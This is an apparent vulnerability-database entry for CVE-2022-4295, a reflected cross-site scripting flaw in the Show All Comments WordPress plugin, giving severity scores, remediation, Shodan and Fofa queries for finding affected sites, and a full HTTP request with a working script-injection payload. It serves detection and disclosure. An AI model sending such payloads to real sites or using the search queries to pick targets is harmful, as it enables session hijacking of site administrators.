🔙 목록으로 돌아가기

CVE-2022-4295: Show all comments < 7.0.1 - Cross-Site Scripting

TitleShow all comments < 7.0.1 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
CVSS Score6.1
EPSS Score0.16021
CVE IDCVE-2022-4295
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/show-all-comments-in-one-page
Fofa Querybody=/wp-content/plugins/show-all-comments-in-one-page
Tags cve2022 cve wpscan wp wordpress wp-plugin xss show-all-comments-in-one-page appjetty vuln

🔍 Vulnerability Description

The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4295.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4295.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A